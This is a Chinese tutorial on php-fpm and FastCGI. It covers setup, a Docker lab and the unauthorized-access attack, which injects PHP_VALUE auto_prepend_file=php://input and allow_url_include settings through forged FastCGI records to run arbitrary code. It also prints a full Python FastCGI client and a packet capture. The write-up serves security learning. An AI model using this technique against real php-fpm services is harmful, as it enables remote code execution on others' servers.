浅析php-fpm的攻击方式

0x1 前言

 关于php-fpm之前自己了解的并不多,不过之前在比赛的时候遇到过几次,但是自己太菜了没做到那一步,最近放假在刷文章的时候感觉php-fpm攻击很有意思,因为涉及到协议交互的问题,能让自己在摸索的过程中学习到很多东西。虽然p牛的文章已经很详细,但是我还是打算对其进行细细研究和探讨一番。

0x2 php-fpm的概念

官方定义如下: FastCGI 进程管理器(FPM)

FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。

故名思义,FPM是管理FastCGI进程的,能够解析fastcgi协议。

www.example.com
        |
        |
      Nginx
        |
        |
路由到www.example.com/index.php
        |
        |
加载nginx的fast-cgi模块
        |
        |
fast-cgi监听127.0.0.1:9000地址
        |
        |
www.example.com/index.php请求到达127.0.0.1:9000
        |
        |
php-fpm 监听127.0.0.1:9000
        |
        |
php-fpm 接收到请求,启用worker进程处理请求
        |
        |
php-fpm 处理完请求,返回给nginx
        |
        |
nginx将结果通过http返回给浏览器

FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,也就是说FPM的功能大部分是FastCGI的功能,所以我们可以了解下FastCGI的作用。

FastCGI本质是一种协议,在cgi协议的基础上发展起来的。

cgi的历史:

早期的webserver只处理html等静态文件,但是随着技术的发展,出现了像php等动态语言。
webserver处理不了了,怎么办呢?那就交给php解释器来处理吧!
交给php解释器处理很好,但是,php解释器如何与webserver进行通信呢?
为了解决不同的语言解释器(如php、python解释器)与webserver的通信,于是出现了cgi协议。只要你按照cgi协议去编写程序,就能实现语言解释器与webwerver的通信。如php-cgi程序。

Fast-CGI:

虽然cgi解决php解释器与webserver的通信问题,但是webserver每收到一个请求就会去fork一个cgi进程,请求结束再kill掉这个进程,这样会很浪费资源,于是出现了cgi的改良版本。

fast-cgi每次处理完请求后,不会kill掉这个进程,而是保留这个进程,使这个进程可以一次处理多个请求。这样每次就不用重新fork一个进程了,大大提高了效率。

总结来说:

php-fpm 是一个Fastcgi的实现,并提供进程管理功能。

进程包含了master进程和worker进程

master进程只有一个,负责监听端口(一般是9000)接收来自Web Server的请求,而worker进程则一般有多个(具体数量根据实际需要配置),每个进程内部都嵌入了一个php解释器,是php代码真正执行的地方。

上面第一个是主进程,下面两个是worker进程。

0x3 如何安装php-fpm

了解玩php-fpm之后,我们就需要进行安装php-fpm了。

操作如下:

0x 3.1 源代码编译

参考官方文档: PHP 手册 安装与配置 FastCGI 进程管理器(FPM)

编译 PHP 时需要 --enable-fpm 配置选项来激活 FPM 支持。

以下为 FPM 编译的具体配置参数(全部为可选参数):

  • --with-fpm-user - 设置 FPM 运行的用户身份(默认 - nobody)
  • --with-fpm-group - 设置 FPM 运行时的用户组(默认 - nobody)
  • --with-fpm-systemd - 启用 systemd 集成 (默认 - no)
  • --with-fpm-acl - 使用POSIX 访问控制列表 (默认 - no) 5.6.5版本起有效

0x 3.2 命令行安装

1. sudo apt update
2. sudo apt install -y nginx
3. sudo apt install -y software-properties-common
4. sudo add-apt-repository -y ppa:ondrej/php
5. sudo apt update
6. sudo apt install -y php7.3-fpm

php-fpm的通信方式有tcp和套接字(unix socket)两种方式

tcp 与 socket的区别

1.tcp方式的话就是直接fpm直接通过监听本地9000端口来进行通信

2.unix socket其实严格意义上应该叫unix domain socket,它是*nix系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。

Unix domain socket 或者 IPC socket是一种终端,可以使同一台操作系统上的两个或多个进程进行数据通信。与管道相比,Unix domain sockets 既可以使用字节流和数据队列,而管道通信则只能通过字节流。Unix domain sockets的接口和Internet socket很像,但它不使用网络底层协议来通信。Unix domain socket 的功能是POSIX操作系统里的一种组件。Unix domain sockets 使用系统文件的地址来作为自己的身份。它可以被系统进程引用。所以两个进程可以同时打开一个Unix domain sockets来进行通信。不过这种通信方式是发生在系统内核里而不会在网络里传播

效率方面,由于tcp需要经过本地回环驱动,还要申请临时端口和tcp相关资源,所以会比socket差,但是在多并发条件下tcp的比socket有优势。 基于两种通信方式不同,所以在攻击的时候也会有相应的差别。

0x3.2.1 配置tcp模式下的php-fpm

1.sudo vim /etc/nginx/sites-enabled/default 查看默认的安装的配置文件

从16行开始就是nginx的配置,去掉从51行开始的注释,然后注释掉57行的sock方式。

ubuntu下默认的nginx安装路径为: /etc/nginx,所以fastcgi-php的文件路径在/snippets

下面是nginx配置文件的讲解:

server {

​ listen 80 default_server; # 监听80端口,接收http请求

​ servername ; # 网站地址

​ root /var/www/html; # 网站根目录

​ location /{

​ #First attempt to serve request as file, then
​ # as directory, then fall back to displaying a 404.

​ try_files \$uri \$uri/ =404; # 文件不存在就返回404状态

}

# 下面是重点

location ~ .php$ {
include snippets/fastcgi-php.conf; #加载nginx的fastcgi模块
# With php7.0-cgi alone:

​ fastcgi_pass 127.0.0.1:9000; # 监听nginx fastcgi进程监听的ip地址和端口
​ # With php7.0-fpm:
​ # fastcgi_pass unix:/run/php/php7.0-fpm.sock;
​ }

}

修改成如上配置就好了.

sudo vim /etc/php/7.3/fpm/pool.d/www.conf

修改为:

listen = 127.0.0.1:9000

以上配置完成,我们在重启nginx和启动php-fpm(这是独立于nginx的一个进程)

1./etc/init.d/php7.3-fpm start

2.service nginx reload

结果发现502错误,我们可以通过查看fpm的错误文件查看原因

/etc/php/7.3/fpm/php-fpm.conf

得到error_log的存在位置

error_log = /var/log/php7.3-fpm.log发现不是这个问题

后来查看cat /var/log/nginx/error.log

可以看到php-fpm没有启动起来

这个时候可以尝试下重启命令,来加载修改的配置文件:

/etc/init.d/php7.3-fpm restart

查看9000端口的情况:

netstat -ap | grep 9000

然后再重新访问:

http://127.0.0.1/phpinfo.php

可以看到成功启动了FPM/FastCGI模式

0x3.2.2 配置unix socket模式下的php-fpm

socket模式的话跟上面差不多,修改的是:

sudo vim /etc/nginx/sites-enabled/default

注释掉之前的tcp端口,然后修改为:/run/php/php7.3-fpm.sock

这个路径可以在/etc/php/7.3/fpm/pool.d/www.conf查看到,当然你也可以修改为别的,比如

/dev/shm 这个是tmpfs,RAM可以直接读取,速度很快,但是你就需要修改两个文件统一起来

sudo vim /etc/php/7.3/fpm/pool.d/www.con

修改为如下:

即可,然后重启就ok了。

0x3.3 docker一键快速搭建

这里采取p神的vulnhub的环境:

vulnhub

在目录下编写个docker-compose.yml文件

version: '2'
services:
  php:
    image: php:fpm
    ports:
      - "9000:9000"

docker-compose up -d

如果失败的话,建议直接git clone 下来再去执行

0x4 php-fpm 未授权访问攻击

了解了上面内容,其实就是php-fpm的工作流程,那么工作流程容易发生的脆弱点在哪里?

交互验证

我与@ev0a师傅交流过,这个漏洞是php-fpm一个设计缺陷,因为分别是两个进程通信没有进行安全性验证。

所以我们可以伪造nginx的发送fastCGI封装的数据给php-fpm去解析就可以造成一定问题

那么问题有多严重? 任意代码执行

那么怎么实现任意代码执行呢?

这个可以从FastCGI协议封装数据内容来看:

  1. PHP 进阶之路 - 深入理解 FastCGI 协议以及在 PHP 中的实现
  2. Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写
typedef struct {
  /* Header */
  unsigned char version; // 版本
  unsigned char type; // 本次record的类型
  unsigned char requestIdB1; // 本次record对应的请求id
  unsigned char requestIdB0;
  unsigned char contentLengthB1; // body体的大小
  unsigned char contentLengthB0;
  unsigned char paddingLength; // 额外块大小
  unsigned char reserved; 

  /* Body */
  unsigned char contentData[contentLength];
  unsigned char paddingData[paddingLength];
} FCGI_Record;

语言端解析了fastcgi头以后,拿到contentLength,然后再在TCP流里读取大小等于contentLength的数据,这就是body体。

Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用。不需要该Padding的时候,将其长度设置为0即可。

可见,一个fastcgi record结构最大支持的body大小是2^16,也就是65536字节。

当type=4时,设置环境变量实际请求中就会类似如下键值对:

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

其中有个关键的地方,'SCRIPT_FILENAME': '/var/www/html/index.php',代表着php-fpm会去执行这个文件。

虽然我们可以控制php-fpm去执行一个存在的文件

在php5.3.9之后加入了fpm增加了security.limit_extensions选项

; Limits the extensions of the main script FPM will allow to parse. This can
; prevent configuration mistakes on the web server side. You should only limit
; FPM to .php extensions to prevent malicious users to use other extensions to
; exectute php code.
; Note: set an empty value to allow all extensions.
; Default Value: .php
;security.limit_extensions = .php .php3 .php4 .php5 .php7

导致我们只能控制php-fpm去执行一个.php .php3之类的后缀的文件,这个我们可以通过爆破web目录,默认安装环境下php文件来进行控制。

虽然我们可以控制执行任意一个php文件,但是我们还得需要控制内容写入恶意代码才行。

前面我们已经知道了,fastCGI的作用是把'SCRIPT_FILENAME'的文件交予给woker进程解析,所以我们没办法去控制内容,但是php-fpm可以设置环境变量。

'PHP_VALUE': 'auto_prepend_file = php://input',
    'PHP_ADMIN_VALUE': 'allow_url_include = On'

我们可以通过PHP_VALUE PHP_ADMIN_VALUE来设置php配置项,参考php-fpm.conf 全局配置段

fastcgi是否也支持类似的动态修改php的配置?我查了一下资料,发现原本FPM是不支持的,直到某开发者提交了一个bug,php官方才将此特性Merge到php 5.3.3的源码中去。

通用通过设置FASTCGI_PARAMS,我们可以利用PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。

当设置php环境变量为:

auto_prepend_file = php://input;allow_url_include = On

就会在执行php脚本之前包含auto_prepend_file文件的内容,php://input也就是POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码。

至此完成php-fpm未授权的任意代码执行攻击。

0x5 浅探编写攻击脚本的原理

其实原理就是编写一个FastCGI 的客户端,然后修改发送的数据为我们的恶意代码就可以了。

分享个p牛脚本里面的一个client客户端: Python FastCGI Client
还有Lz1y师傅给的一个php客户端 PHP FastCGI Client

还要php语言客户端: fastcgi客户端PHP语言实现

分析下githud上client客户端这个脚本的架构:

#!/usr/bin/python

import socket
import random


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        return chr(FastCGIClient.__FCGI_VERSION) \
               + chr(fcgi_type) \
               + chr((requestid >> 8) & 0xFF) \
               + chr(requestid & 0xFF) \
               + chr((length >> 8) & 0xFF) \
               + chr(length & 0xFF) \
               + chr(0) \
               + chr(0) \
               + content

    def __encodeNameValueParams(self, name, value):
        nLen = len(str(name))
        vLen = len(str(value))
        record = ''
        if nLen < 128:
            record += chr(nLen)
        else:
            record += chr((nLen >> 24) | 0x80) \
                      + chr((nLen >> 16) & 0xFF) \
                      + chr((nLen >> 8) & 0xFF) \
                      + chr(nLen & 0xFF)
        if vLen < 128:
            record += chr(vLen)
        else:
            record += chr((vLen >> 24) | 0x80) \
                      + chr((vLen >> 16) & 0xFF) \
                      + chr((vLen >> 8) & 0xFF) \
                      + chr(vLen & 0xFF)
        return record + str(name) + str(value)

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = ord(stream[0])
        header['type'] = ord(stream[1])
        header['requestId'] = (ord(stream[2]) << 8) + ord(stream[3])
        header['contentLength'] = (ord(stream[4]) << 8) + ord(stream[5])
        header['paddingLength'] = ord(stream[6])
        header['reserved'] = ord(stream[7])
        return header

    def __decodeFastCGIRecord(self):
        header = self.sock.recv(int(FastCGIClient.__FCGI_HEADER_SIZE))
        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = ''
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                buffer = self.sock.recv(contentLength)
                while contentLength and buffer:
                    contentLength -= len(buffer)
                    record['content'] += buffer
            if 'paddingLength' in record.keys():
                skiped = self.sock.recv(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = ""
        beginFCGIRecordContent = chr(0) \
                                 + chr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + chr(self.keepalive) \
                                 + chr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = ''
        if nameValuePairs:
            for (name, value) in nameValuePairs.iteritems():
                # paramsRecord = self.__encodeNameValueParams(name, value)
                # request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, '', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, post, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, '', requestId)
        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = ''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        while True:
            response = self.__decodeFastCGIRecord()
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)
0x5.1 Fastcgi协议简介

Fastcgi协议是由一段一段的数据段组成,可以想象成一个车队,每辆车装了不同的数据,但是车队的顺序是固定的。输入时顺序为:请求开始描述、请求键值对、请求输入数据流。输出时顺序为:错误输出数据流、正常输出数据流、请求结束描述。
其中键值对、输入流、输出流,错误流的数据和CGI程序是一样的,只不过是换了种传输方式而已。
再回到车队的描述,每辆车的结构也是统一的,在前面都有一个引擎,引擎决定了你的车是什么样的。所以,每个数据块都包含一个头部信息,结构如下:

typedef struct {
   unsigned char version;  // 版本号
   unsigned char type;     // 记录类型
   unsigned char requestIdB1;  // 记录id高8位
   unsigned char requestIdB0;  // 记录id低8位
   unsigned char contentLengthB1;  // 记录内容长度高8位
   unsigned char contentLengthB0;  // 记录内容长度低8位
   unsigned char paddingLength;    // 补齐位长度
   unsigned char reserved; // 真·记录头部补齐位
} FCGI_Header;

当处于__FCGI_TYPE_BEGIN = 1 请求输入的状态的时候,需要一个描述FastCGI服务器充当的角色以及相关的设定

typedef struct {
   unsigned char roleB1;   // 角色类型高8位
   unsigned char roleB0;   // 角色类型低8位
   unsigned char flags;    // 小红旗
   unsigned char reserved[5];  // 补齐位
} FCGI_BeginRequestBody;

官方在升级CGI的时候,同时加入了多种角色给Fastcgi协议,其中定义为:

#define FCGI_RESPONDER 1  响应器
#define FCGI_AUTHORIZER 2 权限控制授权器
#define FCGI_FILTER 3 处理特殊数据的过滤器

对应脚本开头那一段设置全局变量:

# 版本号
    __FCGI_VERSION = 1

   # FastCGI服务器角色及其设置
    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

        # type 记录类型
    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

介绍下几个关键代码:

requestId = random.randint(1, (1 << 16) - 1)

区分多段Record.requestId作为同一次请求的标志,unsigned char requestId 变量大小为1字节,8bit确定了范围

我们采取tcpdump看下nginx的客户端通信过程:

指定本地回环网卡,获取9000端口的数据包

sudo tcpdump -nn -i lo tcp dst port 9000

解析包数据:

sudo tcpdump -q -XX -vvv -nn -i lo tcp dst port 9000

tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
14:27:45.469909 IP (tos 0x0, ttl 64, id 36556, offset 0, flags [DF], proto TCP (6), length 60)
    127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
    0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
    0x0010:  003c 8ecc 4000 4006 aded 7f00 0001 7f00  .<..@.@.........
    0x0020:  0001 db7c 2328 808f 223c 0000 0000 a002  ...|#(.."<......
    0x0030:  aaaa fe30 0000 0204 ffd7 0402 080a 2094  ...0............
    0x0040:  80a5 0000 0000 0103 0307                 ..........
14:27:45.469928 IP (tos 0x0, ttl 64, id 36557, offset 0, flags [DF], proto TCP (6), length 52)
    127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
    0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
    0x0010:  0034 8ecd 4000 4006 adf4 7f00 0001 7f00  .4..@.@.........
    0x0020:  0001 db7c 2328 808f 223d 446c 9160 8010  ...|#(.."=Dl.`..
    0x0030:  0156 fe28 0000 0101 080a 2094 80a5 2094  .V.(............
    0x0040:  80a5                                     ..
14:27:45.469956 IP (tos 0x0, ttl 64, id 36558, offset 0, flags [DF], proto TCP (6), length 844)
    127.0.0.1.56188 > 127.0.0.1.9000: tcp 792
    0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
    0x0010:  034c 8ece 4000 4006 aadb 7f00 0001 7f00  .L..@.@.........
    0x0020:  0001 db7c 2328 808f 223d 446c 9160 8018  ...|#(.."=Dl.`..
    0x0030:  0156 0141 0000 0101 080a 2094 80a5 2094  .V.A............
    0x0040:  80a5 0101 0001 0008 0000 0001 0000 0000  ................
    0x0050:  0000 0104 0001 02ef 0100 0900 5041 5448  ............PATH
    0x0060:  5f49 4e46 4f0f 1953 4352 4950 545f 4649  _INFO..SCRIPT_FI
    0x0070:  4c45 4e41 4d45 2f76 6172 2f77 7777 2f68  LENAME/var/www/h
    0x0080:  746d 6c2f 7068 7069 6e66 6f2e 7068 700c  tml/phpinfo.php.
    0x0090:  0051 5545 5259 5f53 5452 494e 470e 0352  .QUERY_STRING..R
    0x00a0:  4551 5545 5354 5f4d 4554 484f 4447 4554  EQUEST_METHODGET
    0x00b0:  0c00 434f 4e54 454e 545f 5459 5045 0e00  ..CONTENT_TYPE..
    0x00c0:  434f 4e54 454e 545f 4c45 4e47 5448 0b0c  CONTENT_LENGTH..
    0x00d0:  5343 5249 5054 5f4e 414d 452f 7068 7069  SCRIPT_NAME/phpi
    0x00e0:  6e66 6f2e 7068 700b 0c52 4551 5545 5354  nfo.php..REQUEST
    0x00f0:  5f55 5249 2f70 6870 696e 666f 2e70 6870  _URI/phpinfo.php
    0x0100:  0c0c 444f 4355 4d45 4e54 5f55 5249 2f70  ..DOCUMENT_URI/p
    0x0110:  6870 696e 666f 2e70 6870 0d0d 444f 4355  hpinfo.php..DOCU
    0x0120:  4d45 4e54 5f52 4f4f 542f 7661 722f 7777  MENT_ROOT/var/ww
    0x0130:  772f 6874 6d6c 0f08 5345 5256 4552 5f50  w/html..SERVER_P
    0x0140:  524f 544f 434f 4c48 5454 502f 312e 310e  ROTOCOLHTTP/1.1.
    0x0150:  0452 4551 5545 5354 5f53 4348 454d 4568  .REQUEST_SCHEMEh
    0x0160:  7474 7011 0747 4154 4557 4159 5f49 4e54  ttp..GATEWAY_INT
    0x0170:  4552 4641 4345 4347 492f 312e 310f 0c53  ERFACECGI/1.1..S
    0x0180:  4552 5645 525f 534f 4654 5741 5245 6e67  ERVER_SOFTWAREng
    0x0190:  696e 782f 312e 3130 2e33 0b09 5245 4d4f  inx/1.10.3..REMO
    0x01a0:  5445 5f41 4444 5231 3237 2e30 2e30 2e31  TE_ADDR127.0.0.1
    0x01b0:  0b05 5245 4d4f 5445 5f50 4f52 5435 3430  ..REMOTE_PORT540
    0x01c0:  3834 0b09 5345 5256 4552 5f41 4444 5231  84..SERVER_ADDR1
    0x01d0:  3237 2e30 2e30 2e31 0b02 5345 5256 4552  27.0.0.1..SERVER
    0x01e0:  5f50 4f52 5438 300b 0153 4552 5645 525f  _PORT80..SERVER_
    0x01f0:  4e41 4d45 5f0f 0352 4544 4952 4543 545f  NAME_..REDIRECT_
    0x0200:  5354 4154 5553 3230 3009 0948 5454 505f  STATUS200..HTTP_
    0x0210:  484f 5354 3132 372e 302e 302e 310f 4c48  HOST127.0.0.1.LH
    0x0220:  5454 505f 5553 4552 5f41 4745 4e54 4d6f  TTP_USER_AGENTMo
    0x0230:  7a69 6c6c 612f 352e 3020 2858 3131 3b20  zilla/5.0.(X11;.
    0x0240:  5562 756e 7475 3b20 4c69 6e75 7820 7838  Ubuntu;.Linux.x8
    0x0250:  365f 3634 3b20 7276 3a36 372e 3029 2047  6_64;.rv:67.0).G
    0x0260:  6563 6b6f 2f32 3031 3030 3130 3120 4669  ecko/20100101.Fi
    0x0270:  7265 666f 782f 3637 2e30 0b3f 4854 5450  refox/67.0.?HTTP
    0x0280:  5f41 4343 4550 5474 6578 742f 6874 6d6c  _ACCEPTtext/html
    0x0290:  2c61 7070 6c69 6361 7469 6f6e 2f78 6874  ,application/xht
    0x02a0:  6d6c 2b78 6d6c 2c61 7070 6c69 6361 7469  ml+xml,applicati
    0x02b0:  6f6e 2f78 6d6c 3b71 3d30 2e39 2c2a 2f2a  on/xml;q=0.9,*/*
    0x02c0:  3b71 3d30 2e38 140e 4854 5450 5f41 4343  ;q=0.8..HTTP_ACC
    0x02d0:  4550 545f 4c41 4e47 5541 4745 656e 2d55  EPT_LANGUAGEen-U
    0x02e0:  532c 656e 3b71 3d30 2e35 140d 4854 5450  S,en;q=0.5..HTTP
    0x02f0:  5f41 4343 4550 545f 454e 434f 4449 4e47  _ACCEPT_ENCODING
    0x0300:  677a 6970 2c20 6465 666c 6174 650f 0a48  gzip,.deflate..H
    0x0310:  5454 505f 434f 4e4e 4543 5449 4f4e 6b65  TTP_CONNECTIONke
    0x0320:  6570 2d61 6c69 7665 1e01 4854 5450 5f55  ep-alive..HTTP_U
    0x0330:  5047 5241 4445 5f49 4e53 4543 5552 455f  PGRADE_INSECURE_
    0x0340:  5245 5155 4553 5453 3100 0104 0001 0000  REQUESTS1.......
    0x0350:  0000 0105 0001 0000 0000                 ..........
14:27:45.471673 IP (tos 0x0, ttl 64, id 36559, offset 0, flags [DF], proto TCP (6), length 52)
    127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
    0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
    0x0010:  0034 8ecf 4000 4006 adf2 7f00 0001 7f00  .4..@.@.........
    0x0020:  0001 db7c 2328 808f 2555 446c 91a0 8010  ...|#(..%UDl....
    0x0030:  0156 fe28 0000 0101 080a 2094 80a5 2094  .V.(............
    0x0040:  80a5                                     ..
14:27:45.471699 IP (tos 0x0, ttl 64, id 36560, offset 0, flags [DF], proto TCP (6), length 52)
    127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
    0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
    0x0010:  0034 8ed0 4000 4006 adf1 7f00 0001 7f00  .4..@.@.........
    0x0020:  0001 db7c 2328 808f 2555 446c e720 8010  ...|#(..%UDl....
    0x0030:  0555 fe28 0000 0101 080a 2094 80a5 2094  .U.(............
    0x0040:  80a5                                     ..
14:27:45.471755 IP (tos 0x0, ttl 64, id 36561, offset 0, flags [DF], proto TCP (6), length 52)
    127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
    0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
    0x0010:  0034 8ed1 4000 4006 adf0 7f00 0001 7f00  .4..@.@.........
    0x0020:  0001 db7c 2328 808f 2555 446d 9198 8010  ...|#(..%UDm....
    0x0030:  0954 fe28 0000 0101 080a 2094 80a5 2094  .T.(............
    0x0040:  80a5                                     ..
14:27:45.473520 IP (tos 0x0, ttl 64, id 36564, offset 0, flags [DF], proto TCP (6), length 52)
    127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
    0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
    0x0010:  0034 8ed4 4000 4006 aded 7f00 0001 7f00  .4..@.@.........
    0x0020:  0001 db7c 2328 808f 2555 446d 91d9 8011  ...|#(..%UDm....
    0x0030:  0954 fe28 0000 0101 080a 2094 80a6 2094  .T.(............
    0x0040:  80a5                                     ..

sudo tcpdump -q -XX -vvv -nn -i lo tcp dst port 9000 -w /tmp/1.cap 保存然后在wireshark进行分析下,发现还是很难看出通信规律(二进制流数据没办法看出怎么发送数据包的,tcl),最后问了下p牛,然后我跑去看nginx的源代码了。(未果,还是得搭建环境来debug下数据流才能,静态读太吃力了)

简单的FastCGI请求数据结构如下:

ngx_http_fastcgi_create_request这个是关键函数

def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        return chr(FastCGIClient.__FCGI_VERSION) \
               + chr(fcgi_type) \
               + chr((requestid >> 8) & 0xFF) \
               + chr(requestid & 0xFF) \
               + chr((length >> 8) & 0xFF) \
               + chr(length & 0xFF) \
               + chr(0) \
               + chr(0) \ 
               + content


      def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = ""
        beginFCGIRecordContent = chr(0) \
                                 + chr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + chr(self.keepalive) \
                                 + chr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = ''

其实这些就是对应上面的结构,而且是8字节对齐的,就有了chr(0)*5来填充。

typedef struct {
    u_char  version;
    u_char  type;
    u_char  request_id_hi;
    u_char  request_id_lo;
    u_char  content_length_hi;
    u_char  content_length_lo;
    u_char  padding_length;
    u_char  reserved;
} ngx_http_fastcgi_header_t;
return chr(FastCGIClient.__FCGI_VERSION) \
               + chr(fcgi_type) \
               + chr((requestid >> 8) & 0xFF) \
               + chr(requestid & 0xFF) \
               + chr((length >> 8) & 0xFF) \
               + chr(length & 0xFF) \
               + chr(0) \
               + chr(0) \ 
               + content

通过& 移位控制为1字节大小(对应上面给出的header结构体变量的大小)。

if (val_len > 127) {
                *e.pos++ = (u_char) (((val_len >> 24) & 0x7f) | 0x80);
                *e.pos++ = (u_char) ((val_len >> 16) & 0xff);
                *e.pos++ = (u_char) ((val_len >> 8) & 0xff);
                *e.pos++ = (u_char) (val_len & 0xff);

            } else {
                *e.pos++ = (u_char) val_len;
            }
def __encodeNameValueParams(self, name, value):
        nLen = len(str(name))
        vLen = len(str(value))
        record = ''
        if nLen < 128:
            record += chr(nLen)
        else:
            record += chr((nLen >> 24) | 0x80) \
                      + chr((nLen >> 16) & 0xFF) \
                      + chr((nLen >> 8) & 0xFF) \
                      + chr(nLen & 0xFF)
        if vLen < 128:
            record += chr(vLen)
        else:
            record += chr((vLen >> 24) | 0x80) \
                      + chr((vLen >> 16) & 0xFF) \
                      + chr((vLen >> 8) & 0xFF) \
                      + chr(vLen & 0xFF)
